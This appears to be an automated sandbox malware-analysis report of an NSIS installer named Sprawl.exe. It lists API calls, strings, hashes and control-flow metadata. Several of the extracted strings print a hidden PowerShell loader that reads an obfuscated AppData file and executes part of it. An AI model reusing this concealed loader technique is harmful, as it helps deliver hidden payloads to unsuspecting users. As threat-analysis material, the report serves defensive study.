String ID: "C:\Users\user\Desktop\Sprawl.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\Sprawl.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error$Null$soft
API String ID: 4283519449-1144871244
Opcode ID: 5f7c5d9e77a9b9c73338c6d1e92cd20f3f30bb0dbb8c708eeee72798782a561c
Instruction ID: 2dd8a40a4a6da4a25a7ff80ffc2ca296f3ca1cc65932c4217ff60142993c7b59
Opcode Fuzzy Hash: 5f7c5d9e77a9b9c73338c6d1e92cd20f3f30bb0dbb8c708eeee72798782a561c
Instruction Fuzzy Hash: 9651F771940214ABDF20AF65DE89B9E7AA8EF04714F54803BF504B72D2C7BC9D418BAD

Function 00401751 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 147
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatA.KERNEL32(00000000,00000000,"powershell.exe" -windowstyle hidden "$Sensitometer42=Get-Content -raw 'C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Paraffinerer.Dej';$Loveliest=$Sensitometer42.SubString(55162,3);.$Loveliest($Sensitometer42)",C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian,00000000,00000000,00000031), ref: 00401790
CompareFileTime.KERNEL32(-00000014,?,"powershell.exe" -windowstyle hidden "$Sensitometer42=Get-Content -raw 'C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Paraffinerer.Dej';$Loveliest=$Sensitometer42.SubString(55162,3);.$Loveliest($Sensitometer42)","powershell.exe" -windowstyle hidden "$Sensitometer42=Get-Content -raw 'C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Paraffinerer.Dej';$Loveliest=$Sensitometer42.SubString(55162,3);.$Loveliest($Sensitometer42)",00000000,00000000,"powershell.exe" -windowstyle hidden "$Sensitometer42=Get-Content -raw 'C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Paraffinerer.Dej';$Loveliest=$Sensitometer42.SubString(55162,3);.$Loveliest($Sensitometer42)",C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian,00000000,00000000,00000031), ref: 004017BA

Part of subcall function 00405D2F: lstrcpynA.KERNEL32(?,?,00000400,004031BD,Vulkanbyernes Setup,NSIS Error), ref: 00405D3C

Part of subcall function 00404F48: lstrlenA.KERNEL32(00429048,00000000,0041C205,762323A0,?,?,?,?,?,?,?,?,?,00402FFA,00000000,?), ref: 00404F81
Part of subcall function 00404F48: lstrlenA.KERNEL32(00402FFA,00429048,00000000,0041C205,762323A0,?,?,?,?,?,?,?,?,?,00402FFA,00000000), ref: 00404F91
Part of subcall function 00404F48: lstrcatA.KERNEL32(00429048,00402FFA,00402FFA,00429048,00000000,0041C205,762323A0), ref: 00404FA4
Part of subcall function 00404F48: SetWindowTextA.USER32(00429048,00429048), ref: 00404FB6
Part of subcall function 00404F48: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404FDC
Part of subcall function 00404F48: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404FF6
Part of subcall function 00404F48: SendMessageA.USER32(?,00001013,?,00000000), ref: 00405004

Strings

Arabisation\argumenta\dekaderne, xrefs: 0040179B, 0040180A, 00401828
C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian, xrefs: 0040177E
"powershell.exe" -windowstyle hidden "$Sensitometer42=Get-Content -raw 'C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Paraffinerer.Dej';$Loveliest=$Sensitometer42.SubString(55162,3);.$Loveliest($Sensitometer42)", xrefs: 0040176D, 00401776, 00401783, 00401795, 004017A6, 004017DC, 004017F2, 00401810, 00401850, 004018D1, 004018DA, 004018E4, 004018EF
C:\Users\user\AppData\Local\Temp\Vedlgges.Fam, xrefs: 0040181E, 0040183A

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: "powershell.exe" -windowstyle hidden "$Sensitometer42=Get-Content -raw 'C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Paraffinerer.Dej';$Loveliest=$Sensitometer42.SubString(55162,3);.$Loveliest($Sensitometer42)"$Arabisation\argumenta\dekaderne$C:\Users\user\AppData\Local\Temp\Vedlgges.Fam$C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian
API String ID: 1941528284-2273613815
Opcode ID: 4f9644c0113f451ee2cb14cf97c87bd5b67e16b7d88c3abb121216c9f25fe8f5
Instruction ID: 9fffb686f64fba45267de9fcbed8a5438fb589d34f2a074259106400a528bed4
Opcode Fuzzy Hash: 4f9644c0113f451ee2cb14cf97c87bd5b67e16b7d88c3abb121216c9f25fe8f5
Instruction Fuzzy Hash: 1041B831900519BBDF107BA5DC85EAF3679DF45368B60863BF121F11E1D63C8A418A6D

Function 00402E9F Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 166
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402F06
GetTickCount.KERNEL32 ref: 00402FAD
MulDiv.KERNEL32(7FFFFFFF,00000064,00000020), ref: 00402FD6
wsprintfA.USER32 ref: 00402FE6

Strings

DA, xrefs: 00403060
... %d%%, xrefs: 00402FE0
DwA, xrefs: 00402F73, 00402F85
DA, xrefs: 00402F5C

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: DA$ DA$... %d%%$DwA
API String ID: 551687249-506594815
Opcode ID: 3c1c6048edc1f00d8c5e0ea3695652e11966b85d101879319fc20926b17e4e8a
Instruction ID: 91ee06cea14faca46f7a5a314d1b96781db6e884ff6161e1c143c8ea96f9570f
Opcode Fuzzy Hash: 3c1c6048edc1f00d8c5e0ea3695652e11966b85d101879319fc20926b17e4e8a
Instruction Fuzzy Hash: FB51907190120A9BDB10DF65EA44B9F7BB8EF44756F10813BE800B72C4D7788E51DBAA

Function 0040540E Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 00405451
GetLastError.KERNEL32 ref: 00405465
SetFileSecurityA.ADVAPI32(?,80000007,00000001), ref: 0040547A
GetLastError.KERNEL32 ref: 00405484

Strings

ts@, xrefs: 00405414
ds@, xrefs: 00405443
C:\Users\user\Desktop, xrefs: 0040540E
C:\Users\user\AppData\Local\Temp\, xrefs: 00405434

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$ds@$ts@
API String ID: 3449924974-3329011080
Opcode ID: f69d3160a82a2859f106a017fa20b71bd819ec85ae22b078452fa26fbc967781
Instruction ID: 7d6f839e8d8492d35463ff02b487d6c5a8d89e3dbffb35ab490880a12e6152a5
Opcode Fuzzy Hash: f69d3160a82a2859f106a017fa20b71bd819ec85ae22b078452fa26fbc967781
Instruction Fuzzy Hash: B4010871D14259EADF11DBA0C9447EFBFB8EB14355F004176E905B6280E378A644CFAA

Function 0040605A Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00406071
wsprintfA.USER32 ref: 004060AA
LoadLibraryExA.KERNELBASE(?,00000000,00000008), ref: 004060BE

Strings

UXTHEME, xrefs: 00406063
%s%s.dll, xrefs: 004060A4
\, xrefs: 00406082

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%s.dll$UXTHEME$\
API String ID: 2200240437-4240819195
Opcode ID: 38f932dad6d10820f3564912fa7e39c047c8ada2afd73a6a353afcde48b08f1a
Instruction ID: e3f146f71c0a6e9640e358317deb724d3a5625ccb5f8d81b259ee964bec3998a
Opcode Fuzzy Hash: 38f932dad6d10820f3564912fa7e39c047c8ada2afd73a6a353afcde48b08f1a
Instruction Fuzzy Hash: D0F0FC3095010566DB14DB74DD0DFEB375CAB08305F14017AA647E11D1D974F9248B69

Function 00402364 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExA.KERNELBASE(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023A2
lstrlenA.KERNEL32(Arabisation\argumenta\dekaderne,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004023C2
RegSetValueExA.ADVAPI32(?,?,?,?,Arabisation\argumenta\dekaderne,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023FB
RegCloseKey.ADVAPI32(?,?,?,Arabisation\argumenta\dekaderne,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024D8

Strings

Arabisation\argumenta\dekaderne, xrefs: 004023B3, 004023D5, 004023E5, 004023F0

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID: Arabisation\argumenta\dekaderne
API String ID: 1356686001-2217045471
Opcode ID: af2b45bfcb0136edb290ca19ee121481d5b6a55bc37b0262ae4d3dbc08afb77b
Instruction ID: f509f4240a3e10e7eaa3df5a693eb391f4e90e3bb863c7dbc5285fb3648b227d
Opcode Fuzzy Hash: af2b45bfcb0136edb290ca19ee121481d5b6a55bc37b0262ae4d3dbc08afb77b
Instruction Fuzzy Hash: 6B117571E00108BFEB10EBA5DE89EAF767DEB54358F10403AF605B71D1D6B85D419B28

Function 004059D1 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004059E5
GetTempFileNameA.KERNELBASE(?,?,00000000,?), ref: 004059FF

Strings

"C:\Users\user\Desktop\Sprawl.exe", xrefs: 004059D1
nsa, xrefs: 004059DC
C:\Users\user\AppData\Local\Temp\, xrefs: 004059D4

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: "C:\Users\user\Desktop\Sprawl.exe"$C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-4130506415
Opcode ID: a71f6d19a672690ae76045f6a92713abfaab32ef542e638d1cc3651a1fbf987a
Instruction ID: dd1ff100f75867a5ea1a308fa9af71207a38e4cfd515e0737c49d63577dfb4aa
Opcode Fuzzy Hash: a71f6d19a672690ae76045f6a92713abfaab32ef542e638d1cc3651a1fbf987a
Instruction Fuzzy Hash: D0F0E2327082047BDB109F15EC04B9B7B9CDFD1720F10C037FA04EA1C0D2B198448B98

Function 00401BCA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76
windowtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SendMessageTimeoutA.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C2A
SendMessageA.USER32(00000000,00000000,?,?), ref: 00401C42

Strings

!, xrefs: 00401BFE

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 22b2b84ea6fcd6b14ed9c5c60211004c3ca56765c3c02eadf23789df00b13e66
Instruction ID: 4a41e99441af98314081ed165e1285c49616552a54b2ccacd5bb7637226e5887
Opcode Fuzzy Hash: 22b2b84ea6fcd6b14ed9c5c60211004c3ca56765c3c02eadf23789df00b13e66
Instruction Fuzzy Hash: 76216271A44108BFEB12AFB0C94AAAD7B75DB44308F14807EF541B61D1D6B885419B29

Function 00401F90 Relevance: 6.1, APIs: 4, Instructions: 73libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,00000001,000000F0), ref: 00401FBB

Part of subcall function 00404F48: lstrlenA.KERNEL32(00429048,00000000,0041C205,762323A0,?,?,?,?,?,?,?,?,?,00402FFA,00000000,?), ref: 00404F81
Part of subcall function 00404F48: lstrlenA.KERNEL32(00402FFA,00429048,00000000,0041C205,762323A0,?,?,?,?,?,?,?,?,?,00402FFA,00000000), ref: 00404F91
Part of subcall function 00404F48: lstrcatA.KERNEL32(00429048,00402FFA,00402FFA,00429048,00000000,0041C205,762323A0), ref: 00404FA4
Part of subcall function 00404F48: SetWindowTextA.USER32(00429048,00429048), ref: 00404FB6
Part of subcall function 00404F48: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404FDC
Part of subcall function 00404F48: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404FF6
Part of subcall function 00404F48: SendMessageA.USER32(?,00001013,?,00000000), ref: 00405004

LoadLibraryExA.KERNELBASE(00000000,?,00000008,00000001,000000F0), ref: 00401FCB
GetProcAddress.KERNEL32(00000000,?), ref: 00401FDB
FreeLibrary.KERNEL32(00000000,00000000,000000F7,?,?,00000008,00000001,000000F0), ref: 00402045

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$AddressFreeHandleLoadModuleProcTextWindowlstrcat
String ID:
API String ID: 2987980305-0
Opcode ID: c898cda39f6fe508cb32d8ec84f6dafc54057451f4acf75246eee6ddcced1586
Instruction ID: 2138191ccfc75e686ed6e38fe7ddd30e16a5f0053d2c4fe6557c99b01bfc6870
Opcode Fuzzy Hash: c898cda39f6fe508cb32d8ec84f6dafc54057451f4acf75246eee6ddcced1586
Instruction Fuzzy Hash: 58212B72904211EBDF217F658E4CAAE3671AB45318F30423BF701B62D0D7BC4946D66E

Function 004015B3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

Part of subcall function 0040583A: CharNextA.USER32(?,?,0042AC70,?,004058A6,0042AC70,0042AC70,76233410,?,C:\Users\user\AppData\Local\Temp\,004055F1,?,76233410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405848
Part of subcall function 0040583A: CharNextA.USER32(00000000), ref: 0040584D
Part of subcall function 0040583A: CharNextA.USER32(00000000), ref: 00405861

GetFileAttributesA.KERNELBASE(00000000,00000000,00000000,0000005C,00000000,000000F0), ref: 00401605

Part of subcall function 0040540E: CreateDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 00405451

SetCurrentDirectoryA.KERNELBASE(00000000,C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian,00000000,00000000,000000F0), ref: 00401634

Strings

C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian, xrefs: 00401629

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian
API String ID: 1892508949-1369816015
Opcode ID: e0a1c47591656d94ff2a999c71ce0e1ab37baa92c7ea8d4027b9740f46afb8e4
Instruction ID: add3044d5edc1dd1b42d505c238b4ff4158083b6ff7b93d5c81ca089004ad06d
Opcode Fuzzy Hash: e0a1c47591656d94ff2a999c71ce0e1ab37baa92c7ea8d4027b9740f46afb8e4
Instruction Fuzzy Hash: C7112736504141ABEF217B650C415BF37B4EAA6325738463FE592B22E2C63C4943A63F

Function 0040588F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00405D2F: lstrcpynA.KERNEL32(?,?,00000400,004031BD,Vulkanbyernes Setup,NSIS Error), ref: 00405D3C

Part of subcall function 0040583A: CharNextA.USER32(?,?,0042AC70,?,004058A6,0042AC70,0042AC70,76233410,?,C:\Users\user\AppData\Local\Temp\,004055F1,?,76233410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405848
Part of subcall function 0040583A: CharNextA.USER32(00000000), ref: 0040584D
Part of subcall function 0040583A: CharNextA.USER32(00000000), ref: 00405861

lstrlenA.KERNEL32(0042AC70,00000000,0042AC70,0042AC70,76233410,?,C:\Users\user\AppData\Local\Temp\,004055F1,?,76233410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 004058E2
GetFileAttributesA.KERNELBASE(0042AC70,0042AC70,0042AC70,0042AC70,0042AC70,0042AC70,00000000,0042AC70,0042AC70,76233410,?,C:\Users\user\AppData\Local\Temp\,004055F1,?,76233410,C:\Users\user\AppData\Local\Temp\), ref: 004058F2

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040588F

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 3248276644-3936084776
Opcode ID: db8bdf16e861f9482455b6e3180b19c0ec0d0437e7b2793ecf43ff70ccde9147
Instruction ID: 9b9a112432e638448ae222c580828ae1e9a3246b43ea9c19d715dfb55d3aa95b
Opcode Fuzzy Hash: db8bdf16e861f9482455b6e3180b19c0ec0d0437e7b2793ecf43ff70ccde9147
Instruction Fuzzy Hash: 1CF0F427105D6156E622323A5C49A9F1A54CE86324718C53BFC50B22C2CA3C88639D7E

Function 00404EBC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00404EEB
CallWindowProcA.USER32(?,?,?,?), ref: 00404F3C

Part of subcall function 00403F60: SendMessageA.USER32(00020410,00000000,00000000,00000000), ref: 00403F72

Strings

, xrefs: 00404ECC

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
